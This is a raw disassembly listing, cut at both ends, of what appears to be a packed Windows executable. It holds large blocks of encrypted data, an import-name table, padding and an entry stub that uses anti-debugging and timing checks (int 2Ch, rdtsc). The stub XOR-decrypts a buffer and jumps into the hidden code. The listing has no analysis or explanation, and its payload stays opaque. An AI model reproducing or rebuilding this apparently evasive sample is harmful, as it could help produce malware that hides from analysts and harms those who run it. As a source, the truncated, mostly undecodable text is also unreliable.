14AB3C98h, 74D3A833h, 0BC8810F0h, 4DF6622Eh dd 0BEAFC04Fh, 3B26DEB0h, 0C638023Fh, 7DFFFFE9h, 0CE0BBEAEh dd 0F2E760AEh, 456D6D9Bh, 4666E63h, 807D6481h, 0ED07228Ah dd 306B3338h, 0A56EF1D5h, 19913531h, 5DBC3531h, 35F5B455h dd 5955ADB4h, 0BC3DA632h, 0BA555575h, 313DCDB6h, 0BC3D1C33h dd 313DC9B6h, 0CDB6BA33h, 0BE33313Dh, 313DF5E6h, 0B3CEBE33h dd 64333135h, 99719B30h, 31413231h, 32319933h, 32313D51h dd 3032319Bh, 313D5EC6h, 0C5B6BA33h, 1933313Dh, 3331328Ah dd 0BC91511Ch, 313DCDB6h, 0C5E63033h, 3033313Dh, 35326865h dd 68A53055h, 55353235h, 0B4920430h, 6DB439F8h, 0A6323168h dd 0D9EEB40Bh, 0A534313Dh, 0DDEEB43Fh, 0A534313Dh, 32231936h dd 0A5BE3331h, 9B843568h, 32319971h, 99333141h, 33313312h dd 3032319Bh, 313D5EC6h, 0F1B6BA33h, 8C33313Dh, 0C5E63091h dd 8733313Dh, 3DF1E630h, 4303331h, 0F1E6BC92h, 0BC33313Dh dd 71321CF7h, 0A63269B1h, 69BC712Bh, 3DCDEE34h, 0F1B43331h dd 0EDB6BA35h, 1C33313Dh, 0C63087A3h, 33313D56h, 36A6F13Ch dd 31331719h, 40F1B633h, 3431DCB5h, 3DE9B6BAh, 0F7BC3331h dd 0B6BC5F1Ch, 33313DEDh, 813231BCh, 3DE9E630h, 5F193331h dd 0B6333133h, 0B6B540F1h, 38BA3431h, 3DEDB6B4h, 0B4353331h dd 0B6BC35F8h, 33313DEDh, 323169B4h, 321CFEA6h, 316FB177h dd 772BA632h, 0BC35F1B4h, 0CDEE3469h, 0B433313Dh, 0B6BA35F1h dd 33313DEDh, 0A6326FB1h, 323199BAh, 99333171h, 33313312h dd 3DF1E630h, 0C6303331h, 33313D62h, 0B1323199h, 319B3331h dd 0F1E63032h, 3033313Dh, 313D62C6h, 32319933h, 9B3331B1h dd 0E6303231h, 33313DC5h, 3D62C630h, 92193331h, 8D193431h dd 92333132h, 2FEBA01Ah, 91F49230h, 3DC1B6BEh, 9B813331h dd 32319971h, 30333133h, 313DCDE6h, 66C63033h, 0F833313Dh dd 313DC1B6h, 32313233h, 0B6BC3335h, 33313DCDh, 976D7134h dd 0B4457134h, 89BC49F1h, 0CDCE343Dh, 0BC33313Dh, 0B6BE3979h dd 33313DC1h, 82719B81h, 66C63084h, 9233313Dh, 0E6BC91F4h dd 33313DD1h, 0A8A5273Ch, 3DC9EEBCh, 0B6BC3331h, 33313DCDh dd 98A5F86Ch, 8F1C2134h, 77BC47BCh, 0D5B6BA35h, 3233313Dh dd 313DD5E6h, 0CDCEBC33h, 6433313Dh, 39F7B4FAh, 0E740691Ch dd 0A4116D37h, 0F3348145h, 0F234F434h, 0B4553D34h, 695A35F5h dd 1C774932h, 37E8404Eh, 5E97F5B7h, 81113231h, 0F434F334h dd 3D34F234h, 35F5B455h, 4932695Ah, 6C33F7B4h, 313DD5E6h dd 0B4F1A333h, 0A632316Fh, 91F492CEh, 3DD9E6BCh, 0E6343331h dd 33313DCDh, 0BEBC2FBCh, 33313DDDh, 3DE1EEB4h, 3131EB6Eh dd 1C65A534h, 316FB15Ch, 0B136A519h, 50A61A6Fh, 3277BC31h dd 3DE1B66Bh, 0A6333131h, 3231E13Fh, 0B431F940h, 0F8343619h dd 31BAF75Ch, 0F7B43277h, 351AB435h, 0B47A7731h, 0A832312Ah dd 591C7101h, 73511CCAh, 0D2440D37h, 0F9409F31h, 7F35F35Ch dd 0B18539F3h, 91F4920Ch, 31D1E6BCh, 0E6BC39D5h, 343B31CDh dd 31BC6DA7h, 3431F1E7h, 60A5273Ch, 533334B3h, 0BC3DF7B4h dd 313F3167h, 1C37BC51h, 69B48749h, 0A5323131h, 32319B3Dh dd 3032759Bh, 1304F33h, 0BC84318Fh, 0F13C3731h, 0F49215A6h dd 557531BEh, 21BC9135h, 353177BCh, 6D39F1F2h, 314FA6B1h dd 6639F9F2h, 6EB13431h, 323331B1h, 4DA73231h, 81313C32h dd 51196730h, 531C3431h, 304C313Eh, 3E3135A7h, 34533142h dd 0C6304531h, 0BA80315Ah, 4D553175h, 3139F392h, 0BC319132h dd 0BC55558Dh, 318C34FCh, 0A98CBC6Dh, 0ACBC0A34h, 2A345131h dd 45BE2764h, 43BC31E8h, 0F1640234h, 3831F1F2h, 0B1733363h dd 3132316Bh, 756C26A6h, 37A55955h, 0A46C7771h, 3511A349h dd 8553BA41h, 0B6BE5436h, 815C3149h, 56C63530h, 19993431h dd 31A874C4h, 30861981h, 29BC3030h, 99719B71h, 31413231h dd 32B9353Bh, 9A313331h, 325EC630h, 0E5B67D71h, 3AB24532h dd 3632E630h, 0B1EE53B4h, 39A534A4h, 371CA8B4h, 0C9E63079h dd 0BC08ACB2h, 391C4533h, 0B1B17132h, 1C2BA6BAh, 31F73135h dd 69B17933h, 2831A68Dh, 40381C71h, 0D1B94FE7h, 0B1717749h dd 253E316Fh, 0B4E854B4h, 31A0B271h, 69B4B16Ch, 0B1623D35h dd 0F4923133h, 0B41DBC86h, 6431611Dh, 0AEBC71F1h, 3176BA41h dd 1576BA1Dh, 0BA1976BAh, 0E9097631h, 31353231h, 3643133h dd 343867EAh, 24313231h, 3D76BCDCh, 31BA369Bh, 86BA2976h dd 3086B921h, 2586BA31h, 0B43D86BAh, 8A3031F9h, 0BC29A6BCh dd 40313D86h, 13F267E7h, 41073C39h, 7A297630h, 1AA63731h dd 21A631BCh, 0BC257EBCh, 0B4314186h, 12F23417h, 31FF3435h dd 3234316Eh, 0A4BB6DBEh, 86BC4871h, 317EBC29h, 0F231433Dh dd 0FB3C3912h, 323911F2h, 7EBA3DF1h, 0BC40BC3Dh, 1CF23109h dd 0AE0403Ch, 3D418E6Ah, 719BB440h, 3231EF73h, 33313931h dd 1FF2225Ch, 22343136h, 307EE740h, 3135FA9Ah, 645E3132h dd 0BC68BA03h, 7341A631h, 3825AEB4h, 3FBD41BEh, 0C2F14D09h dd 317EBAF4h, 0D0BD4011h, 7EBC3431h, 7E5C2131h, 39A6BC1Dh dd 3DE73140h, 0D7EBA3Fh, 0D319602h, 0BC0DA6BCh, 49B211AEh dd 31323117h, 3D52F346h, 0BD75BE63h, 0BA6933C0h, 55B1057Eh dd 0BC29398Eh, 4C55B1AEh, 353918F2h, 55B52C3Ch, 3ABC3DAEh dd 0F22939BCh, 2A55B120h, 513DAE6Ah, 0F8BC50A4h, 2A5534F0h dd 362031F2h, 7EBC2A34h, 3313405h, 6ABA27B6h, 32B3B640h dd 5A4AC731h, 0F85C3DAEh, 37F232BCh, 27B6005Ch, 3105AEBCh dd 85BE40BAh, 98A53243h, 332BB275h, 0A4BD404Fh, 331CB131h dd 0BC513292h, 6DBE117Eh, 4F3188C2h, 73F28031h, 0FF73F267h dd 352173FAh, 4F311FF2h, 3DA66A22h, 0BC4539A4h, 0BA737BF7h dd 31033468h, 0A65A431Ch, 0BCF75C3Dh, 5C3572CAh, 0F54B74FFh dd 0F3D0AD4Ah, 43B1468Fh, 35793121h, 45B99C31h, 3AAE3162h dd 312596B4h, 9A811A32h, 7130302Fh, 34F13B36h, 3425419Eh dd 34B28B1Ah, 3537259Eh, 3331821Ah, 0BC3D8E5Ah, 1BF23102h dd 0BCFB5C36h, 5C352586h dd 0BA4512F4h, 417EBC40h, 0C2C5BE31h, 31343231h, 46F18633h dd 7046F4AEh, 0F80046F2h, 1A3E3B46h, 551D7455h, 7EBC65D2h dd 7E31BA19h, 157EBC09h, 31197EBAh, 0BA1D7EBCh, 157EBA6Bh dd 7337AE35h, 0F8381C43h, 34732576h, 0B2416712h, 6CD1F9F2h dd 0B11A5F1Ah, 335ABA49h, 7AD43B42h, 0BBBDEDBEh, 0E7427461h dd 1BF20179h, 2354271h, 0B483B16Ah, 0EC3431D2h, 0A429452h dd 11361CF2h, 79257EAAh, 1140F2B4h, 0F150BA82h, 0FF37348Eh dd 62B15771h, 0C06DBEF3h, 0F14A17A4h, 0BC89713Ah, 0F63C51F3h dd 153BA13Bh, 5CD26EA4h, 3BD4EBF3h, 0B31156F2h, 4D92FA3Bh dd 394391BAh, 11F2CE40h, 3A3A7DBEh, 1346B1BAh, 3161B181h dd 0B93B3DBBh, 3DB9307Eh, 1D1A6341h, 865DB12Dh, 0F3335C3Dh dd 40BA5DF5h, 3431111Ah, 93335A44h, 0F2418674h, 0C5BE255Fh dd 0F091BB5Dh, 465FD65Fh, 0BA1584DFh, 0AB1C6BB9h, 0BBC55927h dd 0E63CD0C1h, 0B1193CC8h, 3CBA483Ch, 71863C31h, 0BA09316Ch dd 86BC0986h, 91C2BA15h, 0BA1D8632h, 1D7E3231h, 313254D4h dd 12B47A54h, 3CF2B42Eh, 915493A4h, 0B445016Eh, 724194A2h dd 72B670B9h, 419508B9h, 42BC3D86h, 2B5B4195h, 974E4192h dd 41922B41h, 1731F22Bh, 0D96B436h, 0B1BA3231h, 627DBE6Ah dd 0B48F1C39h, 34925A42h, 4E53085Ch, 823C4842h, 3C5A3635h dd 0BA3C605Ch, 0BDBE35AAh, 33396231h, 76F83331h, 3139710Dh dd 1176F834h, 431C8571h, 0BC3DB154h, 79F7223h, 0BAF1F85Ch dd 0F2B23582h, 71B97139h, 73413735h, 0BC363135h, 0C641186h dd 586BAA1h, 0BB4C5574h, 454138D4h, 0AD35CA9Bh, 46AD3223h dd 3C92AD37h, 0BA233134h, 0C34CA65h, 5434441Ch, 0BA3EF4ADh dd 8DBECA45h, 3032714Ch, 0D6A6057Eh, 3164B8B1h, 23BC7303h dd 7EBC1704h, 0FF5C0D51h, 0ADF20A34h, 1418EBAh, 51C5BE40h dd 2576B498h, 2CB43831h, 0BC35AE35h, 341C81FCh, 0E411349Bh dd 0BE6C7141h, 0F13FED41h, 5467237h, 34173137h, 0C0A24498h dd 78FAC83Dh, 78F53AE8h, 1C865CDh, 53AE578h, 12C83D78h dd 3AE33278h, 0B4711BB4h, 41BC352Bh, 9BD402Bh, 2FB41F1h dd 18B4312Ah, 0B47A32h, 2B33B433h, 0AE1D89E1h, 0BC180443h dd 76220033h, 0BBCDBE41h, 0B14E3BEDh, 0B281779Dh, 43E943F0h dd 31341902h, 3D766A30h, 765A37A3h, 0B43D31h, 1A67A32h dd 418E51BCh, 0C1B9F4B2h, 3118F273h, 1D76F835h, 64343135h dd 0BA72FA11h, 8FF1118Eh, 488B35D0h, 4890BC77h, 34BC488Ah dd 0A68D91FAh, 8EBC3D41h, 3C48B711h, 0BA590DAEh, 6E61BC45h dd 3095B132h, 0A61D317Eh, 0AEBA78CDh, 5F41A51Dh, 41018EBCh dd 5C746Fh, 7E347471h, 7242BB39h, 3975AE72h, 726F117Ch dd 88530CB6h, 1AA65168h, 4129241Ah, 311DAEB0h, 76BC061Ch dd 3DF3FA21h, 223E3131h, 323133E8h, 3171322Fh, 0A3969C46h dd 319D969Fh, 955F6364h, 32319D9Dh, 0A1E94785h, 31725532h dd 73317265h, 80317236h, 7D383171h, 319592A0h, 0A3939A7Dh dd 72AAA392h, 78333131h, 0A381A596h, 729431A0h, 96A39595h dd 3131A4A4h, 0A39A8733h, 7192A6A5h, 9D9D729Dh, 310794A0h dd 96A34977h, 1131F796h, 9496A533h, 3431A569h, 5A11B841h dd 3335C111h, 713731D1h, 5C413F31h, 61310191h, 41453136h dd 32015F81h, 0A156B727h, 3251A131h, 31B1B802h, 313132B1h dd 0F7C55737h, 31D663F5h, 8887EA16h, 25FD9479h, 48B4B331h dd 0FF302854h, 0B09831ABh, 0C157EF0Eh, 0AD31EAA1h, 90FBB25Fh dd 31A5EEF1h, 0BD09C330h, 0A9947A9Dh, 0BA136731h, 0B41E1E77h dd 9E923186h, 71C44749h, 623159C2h, 69C6E4CEh, 3140BBFBh dd 7BC187E2h, 8CCF4771h, 0A8969831h, 0A1A512D8h, 0FC0A315Fh dd 0A18DCC93h, 613154BCh, 0C8914801h, 318D4A41h, 0EBEAACB1h dd 0A4D5903h, 0A581031h, 88FEE3DCh, 30533199h, 0B680DC0Ch dd 431301Dh, 5B2AC27Fh, 311F1DC7h, 0B4146544h, 94B1B145h dd 0CC426031h, 0E42AA938h, 24693176h, 5CFE13EEh, 0D3311B64h dd 4F0E2953h, 31F29140h, 0E2634E48h, 0F81D2EE9h, 44445A31h dd 3DA39BDDh, 8ABD3197h, 96A1D6ADh, 0C31E0E1h, 0CFB6D695h dd 31FCBF4Fh, 0E3A46F5Eh, 22E52FCAh, 0D5621F31h, 0A55C2BA5h dd 61BB31EBh, 294DA900h, 48312823h, 0FF564085h, 315A1119h dd 453D1A3Bh, 84C5503Ah, 0E606D031h, 0A526E6E7h, 0BC0531D7h dd 9372814Bh, 0FC31A85Ch, 0FF3564ACh, 31807865h, 0CAB38B71h dd 0BF53726Fh, 40FD7331h, 0CC0DF4B9h, 0EF8131C1h, 54BDDF07h dd 0A53114F4h, 61F66E9Eh, 31ED3C24h, 5186C50Bh, 0D26D536Dh dd 0ED9A2731h, 0ACA93290h, 3E5A3137h, 0CA80DC07h, 0BE31A8A2h dd 1E1CA925h, 31565C9Ch, 0AB3CA78Eh, 6CDFD676h, 938D4731h dd 0B5F48497h, 4719314Fh, 1644685Ch, 0D231EA2Ch, 0B6C5A252h dd 31999761h, 54960754h, 0FB483FCCh, 0BE781831h, 34DA0AB4h dd 0A9BC314Bh, 4001C47h, 233115B0h, 0CEEA22Eh, 31BC1E66h dd 3F2E3FBDh, 0F681487Ah, 0D05ACF31h, 0B4E4D87Ch, 3ADD3147h dd 0A368E60Bh, 92317134h, 0CCEAFF2Eh, 31B7DA4Ah, 247ABC6h dd 2DF0D55Ah, 18B9F131h, 0E01438F0h, 0BBDA31FCh, 3E720DF5h dd 0D631CDB9h, 0CD568DCFh, 31030506h, 15C09EEEh, 652D611Ah dd 36B57F31h, 8B3DE3DAh, 6C6F31C5h, 0A80C64BBh, 4D31D3FFh dd 0B4F5E898h, 310F195Dh, 1A3CB4E1h, 0D4899A65h, 5E6C2731h dd 5103F24Ah, 0ADCD315Fh, 0C454E90Fh, 85311438h, 0AE6A64D6h dd 314012B6h, 49191651h, 71C7CCB3h, 0D910F831h, 19B680B8h dd 2873120h, 1F7C42EEh, 703192DFh, 91AF937Bh, 31F1AEA4h dd 1B8DEAEEh, 5AC33231h, 0AFD94F31h, 0A2F09F25h, 5AA53106h dd 0DBC5DFBBh, 4D3185D0h, 979A0B2Ah, 316B6030h, 2A617ADCh dd 24C3246Eh, 0D13DED31h, 0AFEFE5F9h, 0B6093184h, 91C65F0Eh dd 0E1317760h, 82453449h, 316D5E34h, 204625E7h, 1F53EDDCh dd 31228031h, 6D8FC132h, 0DC9A312Ch, 5BC1E2EEh, 0EE31C42Ch dd 580E2FDEh, 31E32230h, 35316954h, 384F3D26h, 0B83782C2h dd 34224F3h, 833A9B17h, 40h dup(0) dd 50000100h, 0CC000001h, 0 dd 9, 704FDF01h, 74536E65h, 10006275h, 7379539Dh, 736E6F43h dd 0C7000074h, 74737953h, 6D65h, 73795381h, 74696E49h dd 54551000h, 73657079h, 72D50000h, 6F437465h, 6572706Dh dd 0C007373h, 6E69574Bh, 73776F64h, 53020000h, 74557379h dd 736C69h, 68532A0Ch, 416C6C65h, 4950h aPaddingxxpaddi db 'PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGP' db 'ADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPA' db 'DDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD' db 'DINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD' db 'INGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDI' db 'NGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDIN' db 'GXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDING' db 'XXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD',0 align 4 dd 1FFFh dup(0) assume ds:CODE ; =============== S U B R O U T I N E ======================================= public start start proc near nop call loc_422A2D start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_422A06 proc near ; CODE XREF: .rsrc:00422A7Dp push ebx mov ecx, 0CBFh mov ebx, edx loc_422A0E: ; CODE XREF: sub_422A06+13j xor [eax], dx lea edx, [ebx+edx] xchg dl, dh lea eax, [eax+2] loop loc_422A0E pop ebx retn sub_422A06 endp ; --------------------------------------------------------------------------- loc_422A1D: ; CODE XREF: .rsrc:00422A68j pop ebp retn ; --------------------------------------------------------------------------- sbb al, 0F2h ; =============== S U B R O U T I N E ======================================= sub_422A21 proc near ; CODE XREF: .rsrc:loc_422A47p ; .rsrc:00422A4Dp rdtsc retn sub_422A21 endp ; --------------------------------------------------------------------------- loc_422A24: ; CODE XREF: .rsrc:00422A35j ; .rsrc:00422A3Fj ... mov eax, 1000h xor ecx, ecx jmp short loc_422A52 ; --------------------------------------------------------------------------- loc_422A2D: ; CODE XREF: start+1p .rsrc:00422A88j test eax, eax jnz short loc_422A39 int 2Ch ; Internal routine for MSDOS (IRET) test eax, eax jns short loc_422A24 jmp short loc_422A47 ; --------------------------------------------------------------------------- loc_422A39: ; CODE XREF: .rsrc:00422A2Fj mov dx, cs shl ebx, 0Ah js short loc_422A24 jnb short loc_422A24 cmp dh, bh jz short loc_422A24 loc_422A47: ; CODE XREF: .rsrc:00422A37j call sub_422A21 xchg eax, ecx call sub_422A21 loc_422A52: ; CODE XREF: .rsrc:00422A2Bj neg ecx push ebp add eax, ecx mov ebp, [esp+4] sub dword ptr [esp+4], 1AE96h sub eax, 100h jnb short loc_422A1D sub ebp, 301006h lea eax, [ebp+301082h] mov dx, [eax-63h] call sub_422A06 div edx outsd db 64h invd jnb short near ptr loc_422A2D+1 cmp bh, dh jmp fword ptr [ecx+29359D2Eh] ; --------------------------------------------------------------------------- dw 5E0Ch dd 388FF314h, 0AD72803Ah, 68C305C9h, 1A96C8CDh, 0FB86BED9h dd 0C21A028h, 7FBB9750h, 99BA55D3h, 0CC95818Ah, 54EA84FEh dd 9E19A75Bh, 0FA01F348h, 90873ECAh, 0EC60A3F0h, 0F1DB35BBh dd 0F794047h, 9D72D805h, 28546FE4h, 4207371Ah, 30031F64h dd 3D0CFE73h, 938F9A36h, 0E74C5701h, 4C82BFE5h, 8ABB2C6Eh dd 0EA87D27Ch, 0C3A681EFh, 0DA8598DDh, 91EEBDD2h, 5475DC4Ah dd 0E03A32C1h, 0EE182A3Ah, 934A77E0h, 6B7D279Dh, 7D283592h dd 0F0AD330Ah, 1E61EB91h, 60867C16h, 0D57C8A30h, 0B80E9782h dd 3C6759AEh, 50AF21A1h, 4831C25Ch, 95225575h, 153DE88h dd 0B2EEF9EEh, 0BC4979A4h, 0CFFA38A6h, 0CB88B341h, 0BB1624E0h dd 0E859B718h, 813240DCh, 2668424Fh, 97E5D308h, 15E5C03h dd 5DD1F7EDh, 0FF7AB818h, 588E7E63h, 0EAC9A44Eh, 48B183E1h dd 9CC7C16Ah, 13FCE12h, 0A2FEF6D7h, 0A29C5D9Bh, 0ABDB755Ch dd 48710681h, 0DC3601F2h, 4F972525h, 0F81225EEh, 67A4C1EAh dd 0D5407DD2h, 0A64143EEh, 305C6AC0h, 547E3FA9h, 24BB8570h dd 5286843Eh, 428127C5h, 0F5CAB06Ah, 0EEB0BE36h, 332B3376h dd 25CCEAAEh, 0E95EE752h, 2BE8F6A3h, 0DBF6B122h, 358F128Eh dd 0E8158175h, 0F6CDAFDAh, 892F0CF8h, 222FB663h, 0DFE9A904h dd 0EB6EBF0h, 34028AABh, 0C72F441Dh, 689E09A9h, 0ED39534Ah dd 64F727A4h, 0D5B2FB98h, 91BCC91Ch, 8B5F2782h, 2FD8D6BAh dd 7A63D45Ah, 0CB0C86A2h, 0B29510BCh, 8E1174CAh, 741E28D8h dd 32D3A8Eh, 5A9B6F4h, 9B4A6828h, 0F7DC69D0h, 5066741Ch dd 481CD22Ch, 3C82943Ah, 68785F48h, 229FC601h, 81ACBB0Ch dd 9B2F3772h, 0F4C8E6AAh, 0AAD7E484h, 92F16763h, 0C21A009Bh dd 3F000EBAh, 0E40E1E62h, 11452ABCh, 0FF2152EEh, 3E10DE67h dd 0DFB9BD00h, 6FD98Dh, 3764722Ch, 46700DAEh, 54866638h dd 36C09C46h, 70D0E610h, 54FB2D9Dh, 3935C640h, 9AF6C3D4h dd 15592BBFh, 0B6D2DA33h, 2C63F319h, 0D3FE0E73h, 0C8D5A745h dd 0FF1A28E4h, 0FE2A6F66h, 0A1B2CFF0h, 0E54663D4h, 0ADDB637Ch dd 36525977h, 6D1DC3A9h, 0AD818C06h, 0E7839A44h, 6E9AAA68h dd 566933EBh, 0FA49C45Eh, 22415D7Dh, 27D2D0A3h, 84C95425h dd 0C21103A6h, 0CA7B05B5h, 6B0A18C6h, 0DE329757h, 0FD56CBE0h dd 23F4C761h, 0A5C551CCh, 266249CBh, 346091E7h, 4392FB29h dd 0DDF78A34h, 5EBAB2F7h, 1D67BFB3h, 0B4233B5Fh, 9B4F245h dd 0A6EB1EC7h, 0A42F2188h, 6959E396h, 28ECFAA5h, 0CFFA0955h dd 0F527AB4Fh, 239D24E0h, 23D232B4h, 8B373013h, 56284C1Bh dd 4E07A70Bh, 0BF460616h, 7079ED91h, 4E663132h, 58059640h dd 95695A03h, 0F50FD4A3h, 86B28D6Eh, 3FA6CE78h, 9CA9B0Bh dd 0D6700EA6h, 35111A09h, 0A5F86C65h, 0DC064A43h, 0EA7EEE45h dd 0F848F457h, 6313E82h, 450027F0h, 72403654h, 1AE5FFEBh dd 0BD327812h, 0CF10C6F4h, 0D1869460h, 0E394C898h, 1CA6DA96h dd 0D6B2D468h, 11D6CC1Ch, 0CACCDADAh, 51B0B992h, 17D09F0h dd 94F63485h, 0D5FB97E7h, 0E8131D48h, 0F695A3DAh, 0BD2F0CF8h dd 123E4C57h, 85BFB58Fh, 3E5A8593h, 0B9E57610h, 4A469028h dd 0CD0972C3h, 66A2B974h, 535510Ah, 6AAE8C4Ch, 90BCCA62h dd 0F5A5B7CEh, 0DE8896E5h, 0D68F82F7h, 9F9165C8h, 0BD777CDDh dd 19401E8Bh, 0C434214Dh, 13A8B3E6h, 403C79DEh, 746A3256h dd 0E9CD99EFh, 0BF664434h, 7701DDECh, 80FAACh, 0E44151Eh dd 6376FE57h, 0D3ACBA64h, 0ECDF8C17h, 0EE98B1F5h, 0C6BF92E7h dd 0B88195F9h, 0D667FFFDh, 5D003E90h, 0B2584A0Ch, 0D4B7C86h dd 30019171h, 1EFEC4F2h, 1DDDA957h, 40565424h, 0C766181Ch dd 7658B9BFh, 55A83738h, 49199C46h, 549023B5h, 0EB55EF36h dd 8C88ECF1h, 3F45224Dh, 0A8E4C991h, 49B5A49Ah, 0F4DA7B3Dh dd 0A73E89B7h, 1C8F5C9Ah, 0FF45AD0h, 94201296h, 0F31D2EF0h dd 2A6C2E6Bh, 5C94E70Ch, 0D78AE3C6h, 77707E2Ch, 629D1DFFh dd 4B911F7Dh, 46EFA862h, 6C6477E1h, 0DEE6C46Eh, 0C895842Ch dd 332DB3DAh, 0B4D0C4A9h, 0B6B73C23h, 0F588F5BAh, 0FD8F97CCh dd 61816F9h, 3D9C98Ch, 0BA0BDBDh, 0F34461D6h, 0E96E192h dd 63606E19h, 686FE9D9h, 0C5838A04h, 5EBAB243h, 93624AB9h dd 7AA6B4A1h, 0BBEEC26Ch, 0C79381B3h, 0A4D1B6D9h, 7655EC92h dd 0CC86AAF5h, 0CA8CC38h, 8A7E7394h, 13F6CCD0h, 6FA9CD21h dd 80355A0h, 46131EA8h, 0E55CBF7h, 0F6DD6C26h, 0BFE7B904h dd 4E22D06Ah, 5C8888C3h, 6A96B4C0h, 78A4B25Dh, 86B2C06Ah dd 94C0CE78h, 5D9D8AD7h, 80F6E701h, 12B353A2h, 368DC635h dd 80C5FA22h, 8F67438Ch, 9D4F5192h, 6C53718Eh, 67342E9Dh dd 412B0F5Ah, 42353C60h, 526A0D56h, 2F0AF243h, 3686E05Fh dd 4E6D63Fh, 35A2DE3Fh, 0F0D1DB1Ah, 0FED78A13h, 0E3CC9BE1h dd 0DABB8DE0h, 0D081B0C5h, 0BB9749CAh, 0BD6A7BCEh, 9A51208Dh dd 93544FBFh, 67404EB8h, 534D3893h, 453E1904h, 7C3F1C73h dd 48071B45h, 381ED04Bh, 58E0F359h, 7F7D209h, 1CF4CB2Ch dd 0E6CFD914h, 0F5CE8974h, 0CAAFACE3h, 0C4B489FFh, 899698FBh dd 0A89A519Fh, 0B76A63CCh, 9E551EBEh, 9C4A58B1h, 664C5F94h dd 64590EF4h, 7B263144h, 5E2C1251h, 4E131677h, 4835F149h dd 10F6F57Dh, 37F5F221h, 72FBD63Fh, 0C6D8DF23h, 0DADFA41Bh dd 9CADBBE9h, 0E7A281C9h, 0D49196F3h, 0AB9B46CEh, 0BB6140DFh dd 0A30E5DADh, 9D515EB3h, 65474D80h, 6A5426BAh, 1C09336Ch dd 79220149h, 5D100165h, 341BC447h, 3BF4ED5Dh, 62CFE534h dd 24E8CF13h, 38DAD507h, 0C2DDAA19h, 0DBA3B91Fh, 0DCB1A58Ch dd 0C68F95CEh, 0AC849FF8h, 0B6B90CF6h, 90694CB2h, 9E7541A7h dd 8A4D71E2h, 7F4521A6h, 5F283C97h, 6F542374h, 5934047Fh dd 211D0B44h, 3D18E27Fh, 14EDF736h, 2FF4C73Bh, 13C4F160h dd 0CBDAA50Ch, 0FBABBE10h, 0C7BDAC8Ah, 0D689A2FCh, 0BB9C9DD4h dd 0B0B10AF4h, 85634EB4h, 0A87E69A5h, 0FC435889h, 645032A1h dd 7D2838BAh, 56220147h, 75070071h, 271E3326h, 3F0EDA5Ah dd 2DF9FD21h, 3EAF650h, 9D5D13Dh, 0E1F2F05Fh, 96B6A308h dd 0C7BFACD8h, 81AD9FF3h, 0B889B496h, 0AAA808C7h, 0B74E72A3h dd 0BF1641BCh, 936246BBh, 7C722580h, 742B3D8Eh, 57352A7Dh dd 570D6C57h, 2C053C50h, 2715D857h, 2EEDE22Eh, 1EF3F74Eh dd 1DC8DB1Ah, 0E3DFA93Eh, 0F1AC9D78h, 0F7CEACE3h, 0C0BD87FAh dd 0C98F91F4h, 0A4BE60FEh, 8A0671ACh, 9F6050A7h, 94635CBDh dd 6525186h, 60293FAFh, 4E271A63h, 44126A71h, 4B001C63h dd 3E28F243h, 36EFE257h, 1BF1C529h, 13C9DF0Eh, 0F0FEBE06h dd 0F3DBBE35h, 0C98ABFF0h, 0E0DA8DFEh, 0D99AB5D4h, 9B9370CEh dd 0BF677DCCh, 0A61253BFh, 93526DAEh, 544A4889h, 775D2484h dd 58092977h, 6D2E2612h, 48091352h, 2913D74Bh, 36EBFB48h dd 2BE6EE4Ah, 1DF6DE39h, 0E4E1CB03h, 0E4DFAF27h, 9EA4B7EBh dd 0DC9792DEh, 0D3A09AFBh, 87F467C1h, 0BD725FC8h, 89624EA4h dd 876D49BBh, 674655B2h, 6472499Ah, 702F284Dh, 583B0343h dd 3A081B77h, 3A24F662h, 35E7E455h, 16F9C83Ch, 1EFFD922h dd 0EFC1DF29h, 0C0BAB100h, 0F9BD87F4h, 0D3859DFCh, 0D58186EFh dd 0A8946EE2h, 0A26163C8h, 0E46073A1h, 804B5E98h, 564E4C8Dh dd 7B4E359Bh, 79053A61h, 53240B63h, 5410201Ch, 251BEE7Fh dd 7E5EA57h, 0CE7EE32h dd 31F3FE33h, 2DC3CB0Ch, 0E2D1B404h, 0C991D419h, 0C9A0B1CDh dd 0C69784E8h, 0AB9C9DA8h, 0BC8D69C4h, 966971A5h, 9E754BD4h dd 8A4B538Ch, 785223F0h, 6E353C96h, 493A1B6Eh, 44621577h dd 44061D4Dh, 3610E945h, 3E3E944h, 6EEECD39h, 19DCD829h dd 0FED3AA1Ch, 0EBABBE3Fh, 0C8B3A8EFh, 0B48582FCh, 0A79A92EFh dd 0A59964C7h, 0A37E7D83h, 8B7648BDh, 98434083h, 7E5436BDh dd 760D5199h, 4820057Eh, 442F1A7Dh, 422F1243h, 3508E47Dh dd 2AEFF630h, 2FDD61Fh, 3BCAC60Bh, 0FCDA8B6Ch, 0F3ACA21Fh dd 0C5B58CFCh, 0DEB7AAF2h, 84ADFAC1h, 86AA49E5h, 9A2624F1h dd 0BE16689Ch, 966755BBh, 43563383h, 4442369Fh, 541F396Dh dd 57150273h, 1143F5Dh, 291FDA32h, 2EEDE311h, 6F7F237h dd 0E1D729h, 0E3E0C02Bh, 0E0A59D1Fh, 0D7A2BDD0h, 0F1A4AFF1h dd 0BB037BA2h, 0A5A9CE9Ah, 340614C0h, 0E9306E43h, 0FD4830B6h dd 6C626EBBh, 448CC6FDh, 761E888Dh, 620D2A7Eh, 0F3FF8771h dd 0CF78B61Ah, 0CF7998FAh, 68A48899h, 0B5AA74D9h, 2D35333Fh dd 0A1BEFC63h, 0A0A68A7Bh, 3B25E6F8h, 0BCD8DCD9h, 4FF9C42Ah dd 0DA04122Eh, 0B691489Ch, 22AB2EDAh, 0C8A43C82h, 12560B9Ch dd 4A4C4A04h, 2E303A10h, 3C36F548h, 1B76EE2Eh, 0CD7BC26Fh dd 66A28AF7h, 0E15FF707h, 829E9667h, 0CCC835F1h, 8B4A5509h dd 0A03BE6A0h, 0AAE66113h, 18F7029Dh, 0AFD43EBh, 0CCBD9B41h dd 7B932CE8h, 22D238Ah, 